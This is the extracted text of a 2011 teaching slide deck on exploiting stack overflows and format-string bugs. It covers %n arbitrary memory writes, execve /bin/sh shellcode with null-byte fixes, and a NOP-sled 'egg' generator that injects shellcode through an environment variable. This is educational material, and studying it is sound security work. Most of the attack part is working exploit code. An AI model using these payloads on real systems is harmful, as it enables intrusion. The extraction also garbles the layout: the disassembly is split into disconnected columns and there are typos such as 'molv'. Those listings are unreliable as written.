CrackChat2

advertisement
CrackChat #2
Stack Overflows and Format Strings
Part 2: Baking the Egg
04-21-2011
-(NSDate *)agenda {
intro(crackChat);
freeZines();
watch(kevinPoulsen);
finish(formatString);
bakeEgg();
furtherReading();
collectRequests();
return august;
}
Format Strings
# Format modifiers
printf(“here’s a number: %d”, num);
%d
%u
%x
%s
%n
–
–
–
–
–
int
unsigned int
hex version of %u
char *
(* int) number of bytes written so far
# Variable length parameter lists
Printf(“Number %d has no address, number %d has: $08x\n”, i, a, &a);
---- stack top ---<&a>
<a>
<i>
A
---- stack bottom ----
# Uses
// Viewing the stack (stackpop sequence):
printf(“%08x.%08x.%08x.%08x.%08x\n”);
// Output:
40012980.080628c4.bffff7a4.00000005.08059c04
// Viewing an arbitrary address (let’s say 0x08480110):
printf ("\x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|");
// Output: prints process memory starting at 0x08480110 until null
byte
// Writing to an arbitrary address
printf ("\xc0\xc8\xff\xbf_%08x.%08x.%08x.%08x.%08x.%n“);
# Tricks
// Controlling number of bytes written
unsigned char foo[4];
printf(“%64u%n”, 7350, (int *) foo);
// Result: foo[0] = 0x40
unsigned char canary[5];
unsigned char foo[4];
memset (foo, ’\x00’, sizeof (foo));
/* 0 * before */ strcpy (canary, "AAAA");
/*
/*
/*
/*
1
2
3
4
*/
*/
*/
*/
printf
printf
printf
printf
("%16u%n", 7350, (int *) &foo[0]);
("%32u%n", 7350, (int *) &foo[1]);
("%64u%n", 7350, (int *) &foo[2]);
("%128u%n", 7350, (int *) &foo[3]);
printf ("%02x%02x%02x%02x\n", foo[0], foo[1],
foo[2], foo[3]);
printf ("canary: %02x%02x%02x%02x\n", canary[0],
canary[1], canary[2], canary[3]);
// Output: 10204080 and canary = 0x00000041
Baking the Egg
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;
ret = buffer1 + 12;
(*ret) += 8;
}
void main() {
int x;
x = 0;
function(1,2,3);
x = 1;
printf("%d\n",x);
}
0x8000490
0x8000491
0x8000493
0x8000496
0x800049d
0x800049f
0x80004a1
0x80004a3
0x80004a8
0x80004ab
0x80004b2
0x80004b5
0x80004b6
0x80004bb
0x80004c0
0x80004c3
0x80004c5
0x80004c6
0x80004c7
<main>:
<main+1>:
<main+3>:
<main+6>:
<main+13>:
<main+15>:
<main+17>:
<main+19>:
<main+24>:
<main+27>:
<main+34>:
<main+37>:
<main+38>:
<main+43>:
<main+48>:
<main+51>:
<main+53>:
<main+54>:
<main+55>:
pushl
movl
subl
movl
pushl
pushl
pushl
call
addl
movl
movl
pushl
pushl
call
addl
movl
popl
ret
nop
%ebp
%esp,%ebp
$0x4,%esp
$0x0,0xfffffffc(%ebp)
$0x3
$0x2
$0x1
0x8000470 <function>
$0xc,%esp
$0x1,0xfffffffc(%ebp)
0xfffffffc(%ebp),%eax
%eax
$0x80004f8
0x8000378 <printf>
$0x8,%esp
%ebp,%esp
%ebp
# writing shellcode
// Simple execve program
#include <stdio.h>
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
// Disassemble and extract important parts
movl string_addr,string_addr_addr
movb $0x0,null_byte_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
/bin/sh string goes here.
// Now for the bytecode
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
// Problem: null bytes. Fix: substitutions.
Problem instruction:
Substitute with:
------------------------------------------------------movb $0x0,0x7(%esi)
xorl %eax,%eax
molv $0x0,0xc(%esi)
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
-------------------------------------------------------movl $0xb,%eax
movb $0xb,%al
-------------------------------------------------------movl $0x1, %eax
xorl %ebx,%ebx
movl $0x0, %ebx
movl %ebx,%eax
inc %eax
--------------------------------------------------------
// Exploitation: it’s all math
// Need to find where our shellcode begins. Three approaches
1) Guessing: no. we’re lazy.
2) Brute force: try and try again.
3) Shellcode padding: much better odds, but requires a large buffer.
Uses NOPS (0x90) or cyclic operations
bottom of
memory
<------
top of
stack
DDDDDDDDEEEEEEEEEEEE
89ABCDEF0123456789AB
buffer
EEEE
CDEF
sfp
FFFF
0123
ret
FFFF
4567
a
FFFF
89AB
b
FFFF
CDEF
c
top of
memory
[NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
^
|
|_____________________|
bottom of
stack
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90 char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
.
.
.
.
.
.
void main(int argc, char *argv[]) {
char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET,
bsize=DEFAULT_BUFFER_SIZE; int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n");
exit(0); }
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++) buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
Further reading:
# Smashing the Stack for Fun and Profit, by Aelph One
http://www.phrack.org/issues.html?id=14&issue=49
# Exploiting Format String Vulnerabilities, by team teso
http://crypto.stanford.edu/cs155/papers/formatstring-1.2.pdf
# Have a good summer.
Download